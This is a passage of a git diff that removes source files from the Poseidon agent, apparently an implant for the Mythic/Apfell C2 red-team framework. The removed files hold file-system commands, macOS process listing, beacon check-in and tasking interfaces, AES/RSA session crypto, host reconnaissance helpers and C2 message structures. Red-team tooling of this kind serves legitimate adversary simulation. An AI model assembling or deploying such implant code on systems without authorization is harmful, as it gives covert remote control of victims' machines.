-
- numTasks=1000;
- kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
- NSMutableDictionary *taskList = [@{} mutableCopy];
-
- for (i = 0; i < numTasks; i++) {
- char name[128];
- int pid;
- pid_for_task(tasks[i], &pid);
- int rc = proc_name(pid, name, 128);
-
- [taskList setObject:[NSNumber numberWithInt:pid] forKey:[NSString stringWithUTF8String:name]];
- }
-
- NSData *jsonData = [NSJSONSerialization dataWithJSONObject:taskList options:NSJSONWritingPrettyPrinted error:nil];
- NSString *jsonString = [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];
-
- return [jsonString UTF8String];
- } @catch (NSException *exception) {
- return [[exception reason] UTF8String];
- }
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/listtasks/listtasks_linux.go b/Payload_Types/poseidon/agent_code/listtasks/listtasks_linux.go
deleted file mode 100644
index 7472cd4ec..000000000
--- a/Payload_Types/poseidon/agent_code/listtasks/listtasks_linux.go
+++ /dev/null
@@ -1,25 +0,0 @@
-// +build linux
-
-package listtasks
-
-import (
- "errors"
-)
-
-type ListtasksLinux struct {
- Results map[string]interface{}
-}
-
-func (l *ListtasksLinux) Result() map[string]interface{} {
- return l.Results
-}
-
-func getAvailableTasks() (ListtasksLinux, error) {
- n := ListtasksLinux{}
- m := map[string]interface{}{
- "result": "not implemented",
- }
-
- n.Results = m
- return n, errors.New("Not implemented")
-}
diff --git a/Payload_Types/poseidon/agent_code/ls/ls.go b/Payload_Types/poseidon/agent_code/ls/ls.go
deleted file mode 100755
index 211427d66..000000000
--- a/Payload_Types/poseidon/agent_code/ls/ls.go
+++ /dev/null
@@ -1,89 +0,0 @@
-package ls
-
-import (
- "encoding/json"
- "io/ioutil"
- "path/filepath"
- "pkg/utils/structs"
- "sync"
- "os"
- "strings"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-type Arguments struct {
- Path string `json:"path"`
- FileBrowser bool `json:"file_browser"`
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- args := Arguments{}
- json.Unmarshal([]byte(task.Params), &args)
- var e structs.DirectoryEntries
- abspath, _ := filepath.Abs(args.Path)
- dirInfo, err := os.Stat(abspath)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- e.IsFile = !dirInfo.IsDir()
- e.Permissions.Permissions = dirInfo.Mode().Perm().String()
- e.Filename = dirInfo.Name()
- e.ParentPath = filepath.Dir(abspath)
- if strings.Compare(e.ParentPath, e.Filename) == 0{
- e.ParentPath = ""
- }
- e.FileSize = dirInfo.Size()
- e.LastModified = dirInfo.ModTime().String()
- e.LastAccess = ""
- e.Success = true
- if dirInfo.IsDir(){
- files, err := ioutil.ReadDir(abspath)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
- e.Success = false
- msg.FileBrowser = e
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- fileEntries := make([]structs.FileData, len(files))
- for i := 0; i < len(files); i++ {
- fileEntries[i].IsFile = !files[i].IsDir()
- fileEntries[i].Permissions.Permissions = files[i].Mode().Perm().String()
- fileEntries[i].Filename = files[i].Name()
- fileEntries[i].FileSize = files[i].Size()
- fileEntries[i].LastModified = files[i].ModTime().String()
- fileEntries[i].LastAccess = ""
- }
- e.Files = fileEntries
- }
- msg.Completed = true
- msg.FileBrowser = e
- if args.FileBrowser {
- msg.UserOutput = "Retrieved data for file browser"
- } else{
- temp, _ := json.Marshal(msg.FileBrowser)
- msg.UserOutput = string(temp)
- }
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/mkdir/mkdir.go b/Payload_Types/poseidon/agent_code/mkdir/mkdir.go
deleted file mode 100755
index a8f54c280..000000000
--- a/Payload_Types/poseidon/agent_code/mkdir/mkdir.go
+++ /dev/null
@@ -1,39 +0,0 @@
-package mkdir
-
-import (
- "fmt"
- "os"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
- "encoding/json"
-)
-
-var mu sync.Mutex
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- err := os.Mkdir(task.Params, 0777)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.Completed = true
- msg.UserOutput = fmt.Sprintf("Created directory: %s", task.Params)
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/mv/mv.go b/Payload_Types/poseidon/agent_code/mv/mv.go
deleted file mode 100755
index 479b71f2a..000000000
--- a/Payload_Types/poseidon/agent_code/mv/mv.go
+++ /dev/null
@@ -1,70 +0,0 @@
-package mv
-
-import (
- "encoding/json"
- "fmt"
- "os"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-type Arguments struct {
- SourceFile string `json:"source"`
- DestinationFile string `json:"destination"`
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- var args Arguments
- err := json.Unmarshal([]byte(task.Params), &args)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- if _, err = os.Stat(args.SourceFile); os.IsNotExist(err) {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- err = os.Rename(args.SourceFile, args.DestinationFile)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- msg.Completed = true
- msg.UserOutput = fmt.Sprintf("Moved %s to %s", args.SourceFile, args.DestinationFile)
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/pkg/profiles/profile.go b/Payload_Types/poseidon/agent_code/pkg/profiles/profile.go
deleted file mode 100755
index 1ec5821fa..000000000
--- a/Payload_Types/poseidon/agent_code/pkg/profiles/profile.go
+++ /dev/null
@@ -1,58 +0,0 @@
-package profiles
-
-import (
- "encoding/base64"
- "pkg/utils/crypto"
- "math/rand"
- "time"
- "pkg/utils/structs"
- "encoding/json"
-)
-
-var (
- ApiVersion = "1.4"
- seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
- UUID = "UUID_HERE"
- TaskResponses []json.RawMessage
- UploadResponses []json.RawMessage
-)
-
-//Profile - Primary interface for apfell C2 profiles
-type Profile interface {
- CheckIn(ip string, pid int, user string, host string, os string, arch string) interface{} // CheckIn method for sending the initial checkin to the server
- GetTasking() interface{} // GetTasking method for retrieving the next task from apfell
- PostResponse(output []byte, skipChunking bool) []byte // Post a task response to the server
- NegotiateKey() string // Start EKE key negotiation for encrypted comms
- SendFile(task structs.Task, params string, ch chan []byte) // C2 profile implementation for downloading files
- GetFile(task structs.Task, fileDetails structs.FileUploadParams, ch chan []byte) // C2 Profile implementation to get a file with specified id // C2 profile helper function to retrieve any arbitrary value for a profile
- SendFileChunks(task structs.Task, data []byte, ch chan []byte) // C2 helper function to upload a file
- SleepInterval() int
- SetSleepInterval(interval int)
- SetSleepJitter(jitter int)
- ApfID() string
- SetApfellID(newID string)
- ProfileType() string
-}
-
-func NewInstance() interface{} {
- return newProfile()
-}
-
-func EncryptMessage(msg []byte, k string) []byte {
- key, _ := base64.StdEncoding.DecodeString(k)
- return crypto.AesEncrypt(key, msg)
-}
-
-func DecryptMessage(msg []byte, k string) []byte {
- key, _ := base64.StdEncoding.DecodeString(k)
- return crypto.AesDecrypt(key, msg)
-}
-
-func GenerateSessionID() string {
- const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
- b := make([]byte, 20)
- for i := range b {
- b[i] = letterBytes[seededRand.Intn(len(letterBytes))]
- }
- return string(b)
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/pkg/utils/crypto/crypto.go b/Payload_Types/poseidon/agent_code/pkg/utils/crypto/crypto.go
deleted file mode 100755
index 12168c303..000000000
--- a/Payload_Types/poseidon/agent_code/pkg/utils/crypto/crypto.go
+++ /dev/null
@@ -1,211 +0,0 @@
-package crypto
-
-import (
- "bytes"
- "crypto/aes"
- "crypto/cipher"
- "crypto/hmac"
- "crypto/rand"
- "crypto/rsa"
- "crypto/sha1"
- "crypto/sha256"
- "crypto/x509"
- "encoding/hex"
- "encoding/pem"
- "errors"
- "io"
- "log"
-)
-
-// PKCS7 errors.
-var (
- // ErrInvalidBlockSize indicates hash blocksize <= 0.
- ErrInvalidBlockSize = errors.New("invalid blocksize")
-
- // ErrInvalidPKCS7Data indicates bad input to PKCS7 pad or unpad.
- ErrInvalidPKCS7Data = errors.New("invalid PKCS7 data (empty or not padded)")
-
- // ErrInvalidPKCS7Padding indicates PKCS7 unpad fails to bad input.
- ErrInvalidPKCS7Padding = errors.New("invalid padding on input")
-)
-
-func GenerateRSAKeyPair() ([]byte, *rsa.PrivateKey) {
- serverPrivKey, err := rsa.GenerateKey(rand.Reader, 4096)
- if err != nil {
- log.Println(err.Error())
- return nil, nil
- }
-
- serverPubKey := &serverPrivKey.PublicKey
-
- //return both keys
-
- pubASN1 := x509.MarshalPKCS1PublicKey(serverPubKey)
- pubPem := pem.EncodeToMemory(
- &pem.Block{
- Type: "RSA PUBLIC KEY",
- Bytes: pubASN1,
- },
- )
-
- return pubPem, serverPrivKey
-}
-
-func RsaDecryptCipherBytes(encryptedData []byte, privateKey *rsa.PrivateKey) []byte {
- //log.Println("In RsaDecryptCipherBytes")
-
- hash := sha1.New()
- //decryptedData, err := rsa.DecryptOAEP(hash, rand.Reader, privateKey, encryptedData, nil)
- //log.Println("Encrypted data size: ", len(encryptedData))
-
- decryptedData, err := rsa.DecryptOAEP(hash, rand.Reader, privateKey, encryptedData, nil)
- //decryptedData, err := rsa.DecryptPKCS1v15(rand.Reader, privateKey, encryptedData)
- if err != nil {
- //log.Println("Failed to decrypt data with: ", err.Error())
- return make([]byte, 0)
- }
-
- return decryptedData
-}
-
-func RsaEncryptBytes(plainBytes []byte, publicKey []byte) []byte {
- pubKey, err := x509.ParsePKCS1PublicKey(publicKey)
- if err != nil {
- //log.Println("Error encrypting bytes: ", err)
- return make([]byte, 0)
- }
-
- hash := sha1.New()
- encryptedData, _ := rsa.EncryptOAEP(hash, rand.Reader, pubKey, plainBytes, nil)
- if err != nil {
- //log.Println("Unable to encrypt ", decErr)
- return make([]byte, 0)
- }
-
- return encryptedData
-}
-
-// https://gist.github.com/mickelsonm/e1bf365a149f3fe59119
-
-func AesEncrypt(key []byte, plainBytes []byte) []byte {
- block, err := aes.NewCipher(key)
- if err != nil {
- log.Println("Key error: ", err.Error())
- return make([]byte, 0)
- }
-
- iv := make([]byte, aes.BlockSize)
- if _, err = io.ReadFull(rand.Reader, iv); err != nil {
- log.Println(err.Error())
- return make([]byte, 0)
- }
-
- cbc := cipher.NewCBCEncrypter(block, iv)
- plainBytes, _ = pkcs7Pad(plainBytes, aes.BlockSize)
- encBytes := make([]byte, len(plainBytes))
-
- cbc.CryptBlocks(encBytes, plainBytes)
- encryptedByptes := append(iv, encBytes...) // IV + Ciphertext
- h := hmac.New(sha256.New, key) // New hmac with key
- h.Write(encryptedByptes) // Write bytes to hmac
- hmacEncryptedBytes := append(encryptedByptes, h.Sum(nil)...) // IV + Ciphertext + hmac
- return hmacEncryptedBytes
-}
-
-//AesDecrypt - Decrypt AES encrypted data with the key
-func AesDecrypt(key []byte, encryptedBytes []byte) []byte {
- // TODO: Change the return type to allow for returning error messages
- block, err := aes.NewCipher(key)
- if err != nil {
- log.Println("Key error: ", err)
- return make([]byte, 0)
- }
-
- if len(encryptedBytes) < aes.BlockSize {
- log.Println("Ciphertext too short")
- return make([]byte, 0)
- }
-
- iv := encryptedBytes[:aes.BlockSize] // gets IV, bytes 0 - 16
- hmacHash := encryptedBytes[(len(encryptedBytes) - 32):] // gets the hmac, the last 32 bytes of the array
- encryptedPortion := encryptedBytes[aes.BlockSize:(len(encryptedBytes) - 32)]
- h := hmac.New(sha256.New, key)
- h.Write(encryptedBytes[:(len(encryptedBytes) - 32)])
- verified := hmac.Equal(h.Sum(nil), hmacHash)
- if verified != true {
- gen := hex.EncodeToString(h.Sum(nil))
- received := hex.EncodeToString(hmacHash)
- log.Printf("HMAC verification failed\n Received HMAC: %s\n Generated HMAC: %s\n", received, gen)
- return make([]byte, 0)
- }
-
- if len(encryptedPortion)%aes.BlockSize != 0 {
- log.Println("ciphertext not a muiltiple of the block size")
- return make([]byte, 0)
- }
- mode := cipher.NewCBCDecrypter(block, iv)
-
- unEncryptedBytes := make([]byte, len(encryptedPortion))
- mode.CryptBlocks(unEncryptedBytes, encryptedPortion)
- data, err := pkcs7Unpad(unEncryptedBytes, aes.BlockSize)
- if err != nil {
- log.Printf("padding error: %s", err.Error())
- return make([]byte, 0)
- }
- return data
-
-}
-
-// pkcs7Pad right-pads the given byte slice with 1 to n bytes, where
-// n is the block size. The size of the result is x times n, where x
-// is at least 1.
-func pkcs7Pad(b []byte, blocksize int) ([]byte, error) {
- if blocksize <= 0 {
- return nil, ErrInvalidBlockSize
- }
- if b == nil || len(b) == 0 {
- return nil, ErrInvalidPKCS7Data
- }
- n := blocksize - (len(b) % blocksize)
- pb := make([]byte, len(b)+n)
- copy(pb, b)
- copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n))
- return pb, nil
-}
-
-// pkcs7Unpad validates and unpads data from the given bytes slice.
-// The returned value will be 1 to n bytes smaller depending on the
-// amount of padding, where n is the block size.
-func pkcs7Unpad(b []byte, blocksize int) ([]byte, error) {
- if blocksize <= 0 {
- return nil, ErrInvalidBlockSize
- }
- if b == nil || len(b) == 0 {
- return nil, ErrInvalidPKCS7Data
- }
- if len(b)%blocksize != 0 {
- return nil, ErrInvalidPKCS7Padding
- }
- c := b[len(b)-1]
- n := int(c)
- if n == 0 || n > len(b) {
- return nil, ErrInvalidPKCS7Padding
- }
- for i := 0; i < n; i++ {
- if b[len(b)-n+i] != c {
- return nil, ErrInvalidPKCS7Padding
- }
- }
- return b[:len(b)-n], nil
-}
-
-func pKCS5Padding(ciphertext []byte, blockSize int) []byte {
- padding := blockSize - len(ciphertext)%blockSize
- padtext := bytes.Repeat([]byte{byte(padding)}, padding)
- return append(ciphertext, padtext...)
-}
-
-func pKCS5Trimming(encrypt []byte) []byte {
- padding := encrypt[len(encrypt)-1]
- return encrypt[:len(encrypt)-int(padding)]
-}
diff --git a/Payload_Types/poseidon/agent_code/pkg/utils/functions/foundation_darwin.h b/Payload_Types/poseidon/agent_code/pkg/utils/functions/foundation_darwin.h
deleted file mode 100755
index 613bb30be..000000000
--- a/Payload_Types/poseidon/agent_code/pkg/utils/functions/foundation_darwin.h
+++ /dev/null
@@ -1,4 +0,0 @@
-#import
-
-const char* nsstring2cstring(NSString*);
-const NSString* GetOSVersion();
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/pkg/utils/functions/foundation_darwin.m b/Payload_Types/poseidon/agent_code/pkg/utils/functions/foundation_darwin.m
deleted file mode 100755
index c7e05ce67..000000000
--- a/Payload_Types/poseidon/agent_code/pkg/utils/functions/foundation_darwin.m
+++ /dev/null
@@ -1,13 +0,0 @@
-#import "foundation_darwin.h"
-const char*
-nsstring2cstring(NSString *s) {
- if (s == NULL) { return NULL; }
-
- const char *cstr = [s UTF8String];
- return cstr;
-}
-
-const NSString* GetOSVersion(){
- NSString * operatingSystemVersionString = [[NSProcessInfo processInfo] operatingSystemVersionString];
- return operatingSystemVersionString;
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions.go b/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions.go
deleted file mode 100755
index 29d4f2835..000000000
--- a/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions.go
+++ /dev/null
@@ -1,42 +0,0 @@
-package functions
-
-import (
- "net"
-)
-
-//GetCurrentIPAddress - the current IP address of the system
-func GetCurrentIPAddress() string {
- addrs, err := net.InterfaceAddrs()
-
- if err != nil {
- return "127.0.0.1"
- }
-
- currIP := "0.0.0.0"
- for _, address := range addrs {
-
- // check the address type and if it is not a loopback the display it
- // = GET LOCAL IP ADDRESS
- if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
- if ipnet.IP.To4() != nil {
- //fmt.Println("Current IP address : ", ipnet.IP.String())
- currIP = ipnet.IP.String()
- }
- }
- }
-
- return currIP
-}
-
-func IsElevated() bool {
- return isElevated()
-}
-func GetArchitecture() string{
- return getArchitecture()
-}
-func GetDomain() string{
- return getDomain()
-}
-func GetOS() string{
- return getOS()
-}
diff --git a/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions_darwin.go b/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions_darwin.go
deleted file mode 100755
index cb3d16fe3..000000000
--- a/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions_darwin.go
+++ /dev/null
@@ -1,80 +0,0 @@
-// +build darwin
-
-package functions
-/*
-#cgo CFLAGS: -x objective-c
-#cgo LDFLAGS: -framework Foundation
-#include "foundation_darwin.h"
-*/
-import "C"
-import (
- "fmt"
- "unicode/utf16"
- "os/user"
- "os"
- "runtime"
-)
-func cstring(s *C.NSString) *C.char { return C.nsstring2cstring(s) }
-func gostring(s *C.NSString) string { return C.GoString(cstring(s)) }
-func isElevated() bool {
- currentUser, _ := user.Current()
- return currentUser.Uid == "0"
-}
-func getArchitecture() string{
- return runtime.GOARCH
-}
-func getDomain() string{
- host, _ := os.Hostname()
- return host
-}
-func getOS() string{
- return gostring( C.GetOSVersion() );
- //return runtime.GOOS
-}
-// Helper function to convert DWORD byte counts to
-// human readable sizes.
-func UINT32ByteCountDecimal(b uint32) string {
- const unit = 1024
- if b < unit {
- return fmt.Sprintf("%d B", b)
- }
- div, exp := uint32(unit), 0
- for n := b / unit; n >= unit; n /= unit {
- div *= unit
- exp++
- }
- return fmt.Sprintf("%.1f %cB", float32(b)/float32(div), "kMGTPE"[exp])
-}
-
-// Helper function to convert LARGE_INTEGER byte
-// counts to human readable sizes.
-func UINT64ByteCountDecimal(b uint64) string {
- const unit = 1024
- if b < unit {
- return fmt.Sprintf("%d B", b)
- }
- div, exp := uint64(unit), 0
- for n := b / unit; n >= unit; n /= unit {
- div *= unit
- exp++
- }
- return fmt.Sprintf("%.1f %cB", float64(b)/float64(div), "kMGTPE"[exp])
-}
-
-// Helper function to build a string from a WCHAR string
-func UTF16ToString(s []uint16) []string {
- var results []string
- cut := 0
- for i, v := range s {
- if v == 0 {
- if i-cut > 0 {
- results = append(results, string(utf16.Decode(s[cut:i])))
- }
- cut = i + 1
- }
- }
- if cut < len(s) {
- results = append(results, string(utf16.Decode(s[cut:])))
- }
- return results
-}
diff --git a/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions_linux.go b/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions_linux.go
deleted file mode 100755
index fb5ab279a..000000000
--- a/Payload_Types/poseidon/agent_code/pkg/utils/functions/functions_linux.go
+++ /dev/null
@@ -1,73 +0,0 @@
-// +build linux
-
-package functions
-
-import (
- "fmt"
- "unicode/utf16"
- "os/user"
- "os"
- "runtime"
-)
-
-func isElevated() bool {
- currentUser, _ := user.Current()
- return currentUser.Uid == "0"
-}
-func getArchitecture() string{
- return runtime.GOARCH
-}
-func getDomain() string{
- host, _ := os.Hostname()
- return host
-}
-func getOS() string{
- return runtime.GOOS
-}
-// Helper function to convert DWORD byte counts to
-// human readable sizes.
-func UINT32ByteCountDecimal(b uint32) string {
- const unit = 1024
- if b < unit {
- return fmt.Sprintf("%d B", b)
- }
- div, exp := uint32(unit), 0
- for n := b / unit; n >= unit; n /= unit {
- div *= unit
- exp++
- }
- return fmt.Sprintf("%.1f %cB", float32(b)/float32(div), "kMGTPE"[exp])
-}
-
-// Helper function to convert LARGE_INTEGER byte
-// counts to human readable sizes.
-func UINT64ByteCountDecimal(b uint64) string {
- const unit = 1024
- if b < unit {
- return fmt.Sprintf("%d B", b)
- }
- div, exp := uint64(unit), 0
- for n := b / unit; n >= unit; n /= unit {
- div *= unit
- exp++
- }
- return fmt.Sprintf("%.1f %cB", float64(b)/float64(div), "kMGTPE"[exp])
-}
-
-// Helper function to build a string from a WCHAR string
-func UTF16ToString(s []uint16) []string {
- var results []string
- cut := 0
- for i, v := range s {
- if v == 0 {
- if i-cut > 0 {
- results = append(results, string(utf16.Decode(s[cut:i])))
- }
- cut = i + 1
- }
- }
- if cut < len(s) {
- results = append(results, string(utf16.Decode(s[cut:])))
- }
- return results
-}
diff --git a/Payload_Types/poseidon/agent_code/pkg/utils/structs/definitions.go b/Payload_Types/poseidon/agent_code/pkg/utils/structs/definitions.go
deleted file mode 100755
index 8f4cecdf0..000000000
--- a/Payload_Types/poseidon/agent_code/pkg/utils/structs/definitions.go
+++ /dev/null
@@ -1,333 +0,0 @@
-package structs
-
-import (
- "encoding/json"
- "log"
- "time"
-)
-
-// Defaultconfig - C2 Profile configuration for the default profile
-type Defaultconfig struct {
- KEYX string `json:"keyx"`
- Key string `json:"key"`
- BaseURL string `json:"baseurl"`
- PostURI string `json:"post_uri"`
- GetURI string `json:"get_uri"`
- QueryPathName string `json:"query_path_name"`
- ProxyURL string `json:"proxy_url"`
- ProxyUser string `json:"proxy_user"`
- ProxyPass string `json:"proxy_pass"`
- UserAgent string `json:"useragent"`
- Sleep int `json:"sleep"`
- HostHeader string `json:"hostheader"`
- Jitter int `json:"jitter"`
-}
-
-// Websocketconfig - C2 Profile configuration for the websocket profile
-type Websocketconfig struct {
- KEYX string `json:"keyx"`
- Key string `json:"key"`
- BaseURL string `json:"baseurl"`
- UserAgent string `json:"useragent"`
- Sleep int `json:"sleep"`
- HostHeader string `json:"hostheader"`
- Jitter int `json:"jitter"`
- Endpoint string `json:"endpoint"`
-}
-
-// Slackconfig - C2 Profile configuration for the slack profile
-type Slackconfig struct {
- KEYX string `json:"keyx"`
- Key string `json:"key"`
- Sleep int `json:"sleep"`
- Jitter int `json:"jitter"`
- ApiKey string `json:"apikey"`
- ChannelID string `json:"channelid"`
-}
-
-// Struct definition for CheckIn messages
-type CheckInMessage struct {
- Action string `json:"action"`
- IP string `json:"ip"`
- OS string `json:"os"`
- User string `json:"user"`
- Host string `json:"host"`
- Pid int `json:"pid"`
- UUID string `json:"uuid"`
- Architecture string `json:"architecture"`
- Domain string `json:"domain"`
- IntegrityLevel int `json:"integrity_level"`
- ExternalIP string `json:"external_ip"`
- EncryptionKey string `json:"encryption_key"`
- DecryptionKey string `json:"decryption_key"`
-}
-
-type CheckInMessageResponse struct {
- Action string `json:"action"`
- ID string `json:"id"`
- Status string `json:"status"`
-}
-
-// Struct definitions for EKE-RSA messages
-
-type EkeKeyExchangeMessage struct {
- Action string `json:"action"`
- PubKey string `json:"pub_key"`
- SessionID string `json:"session_id"`
-}
-
-type EkeKeyExchangeMessageResponse struct {
- Action string `json:"action"`
- UUID string `json:"uuid"`
- SessionKey string `json:"session_key"`
- SessionId string `json:"session_id"`
-}
-
-// Struct definitions for Tasking request messages
-
-type TaskRequestMessage struct {
- Action string `json:"action"`
- TaskingSize int `json:"tasking_size"`
- Delegates []*json.RawMessage `json:"delegates"`
-}
-
-type TaskRequestMessageResponse struct {
- Action string `json:"action"`
- Tasks []Task `json:"tasks"`
- Delegates []*json.RawMessage `json:"delegates"`
- Socks []SocksMsg `json:"socks"`
-}
-
-type Task struct {
- Command string `json:"command"`
- Params string `json:"parameters"`
- Timestamp float64 `json:"timestamp"`
- TaskID string `json:"id"`
- Job *Job
-}
-
-type Job struct {
- KillChannel chan (int)
- Stop *int
- Monitoring bool
-}
-
-// Struct definitions for TaskResponse Messages
-type TaskResponseMessage struct {
- Action string `json:"action"`
- Responses []json.RawMessage `json:"responses"`
- Delegates []json.RawMessage `json:"delegates"`
- Socks []SocksMsg `json:"socks"`
-}
-
-type Response struct {
- TaskID string `json:"task_id"`
- UserOutput string `json:"user_output"`
- Completed bool `json:"completed"`
- Status string `json:"status"`
- FileBrowser DirectoryEntries `json:"file_browser"`
- RemovedFiles []RmFiles `json:"removed_files,omitempty"`
-}
-
-type PermissionJSON struct {
- Permissions string `json:"permissions"`
-}
-
-type RmFiles struct {
- Path string `json:"path"`
- Host string `json:"host"`
-}
-
-type DirectoryEntries struct {
- Files []FileData `json:"files"`
- IsFile bool `json:"is_file"`
- Permissions PermissionJSON `json:"permissions"`
- Filename string `json:"name"`
- ParentPath string `json:"parent_path"`
- Success bool `json:"success"`
- FileSize int64 `json:"size"`
- LastModified string `json:"modify_time"`
- LastAccess string `json:"access_time"`
-}
-
-type FileData struct {
- IsFile bool `json:"is_file"`
- Permissions PermissionJSON `json:"permissions"`
- Filename string `json:"name"`
- FileSize int64 `json:"size"`
- LastModified string `json:"modify_time"`
- LastAccess string `json:"access_time"`
-}
-
-type TaskResponseMessageResponse struct {
- Action string `json:"action"`
- Responses []json.RawMessage `json:"responses"`
- Delegates []json.RawMessage `json:"delegates"`
-}
-
-type ServerResponse struct {
- TaskID string `json:"uuid"`
- Status string `json:"status"`
- Error string `json:"error"`
-}
-
-type UserOutput struct {
- Output []byte `json:"user_output"`
-}
-
-// Struct definitions for file downloads and uploads
-type FileDownloadInitialMessage struct {
- NumChunks int `json:"total_chunks"`
- TaskID string `json:"task_id"`
- FullPath string `json:"full_path"`
- IsScreenshot bool `json:"is_screenshot"`
-}
-
-type FileDownloadInitialMessageResponse struct {
- Status string `json:"status"`
- FileID string `json:"file_id"`
-}
-
-type FileDownloadChunkMessage struct {
- ChunkNum int `json:"chunk_num"`
- FileID string `json:"file_id"`
- ChunkData string `json:"chunk_data"`
- TaskID string `json:"task_id"`
-}
-
-type FileUploadChunkMessage struct {
- Action string `json:"action"`
- ChunkSize int `json:"chunk_size"`
- FileID string `json:"file_id"`
- ChunkNum int `json:"chunk_num"`
- FullPath string `json:"full_path"`
- TaskID string `json:"task_id"`
-}
-
-type FileUploadChunkMessageResponse struct {
- Action string `json:"action"`
- TotalChunks int `json:"total_chunks"`
- ChunkNum int `json:"chunk_num"`
- ChunkData string `json:"chunk_data"`
- FileID string `json:"file_id"`
-}
-
-//Message - struct definition for external C2 messages
-type Message struct {
- Tag string `json:"tag"`
- Client bool `json:"client"`
- Data string `json:"data"`
-}
-
-//ThreadMsg used to send task results back to the receiving channel
-type ThreadMsg struct {
- TaskItem Task
- TaskResult []byte
- Error bool
- Completed bool
-}
-
-// TaskStub to post list of currently processing tasks.
-type TaskStub struct {
- Command string `json:"command"`
- Params string `json:"params"`
- ID string `json:"id"`
-}
-
-// Job struct that will listen for messages on the kill channel,
-// set the Stop param to an exit code, and checks if it's in a
-// monitoring state.
-
-//FileRegisterResponse used for holding the response after file registration
-type FileRegisterResponse struct {
- Status string `json:"status"`
- FileID string `json:"file_id"`
-}
-
-// FileRegisterRequest used to register a file download
-type FileRegisterRequest struct {
- Chunks int `json:"total_chunks"`
- Task string `json:"task"`
-}
-
-// NestedApfellTaskResponse used to hold the task response field
-type NestedApfellTaskResponse struct {
- Status string `json:"status"`
- Timestamp string `json:"timestamp"`
- Command string `json:"command"`
- Params string `json:"params"`
- AttackID int `json:"attack_id"`
- Callback int `json:"callback"`
- Operator string `json:"operator"`
-}
-
-// FileChunk used to send a file download chunk to apfell
-type FileChunk struct {
- ChunkNumber int `json:"chunk_num"`
- ChunkData string `json:"chunk_data"`
- FileID string `json:"file_id"`
-}
-
-// FileChunkResponse used to handle the FileChunk response from Apfell
-type FileChunkResponse struct {
- Status string `json:"status"`
-}
-
-//FileUploadParams - handle parameters for the file upload response
-type FileUploadParams struct {
- FileID string `json:"file_id"`
- RemotePath string `json:"remote_path"`
-}
-
-// CheckInStruct used for Checkin messages to Apfell
-type CheckInStruct struct {
- User string `json:"user"`
- Host string `json:"host"`
- Pid int `json:"pid"`
- IP string `json:"ip"`
- UUID string `json:"uuid"`
- IntegrityLevel int `json:"integrity_level"`
-}
-
-// Struct for dealing with Socks messages
-type SocksMsg struct {
- ServerId int32 `json:"server_id"`
- Data string `json:"data"`
-}
-
-// MonitorStop tells the job that it needs to wait for a kill signal.
-// The individual module is required to listen for the job.Stop
-// variable to be > 0, and take requisite actions to tear-down.
-func (j *Job) MonitorStop() {
- if !j.Monitoring {
- j.Monitoring = true
- for {
- select {
- case <-j.KillChannel:
- log.Println("Got kill message for job")
- *j.Stop = 1
- j.Monitoring = false
- return
- default:
- // â¦
- // log.Println("Sleeping in the kill chan...")
- time.Sleep(time.Second)
- }
- }
- }
-}
-
-// SendKill sends a kill message to the channel.
-func (j *Job) SendKill() {
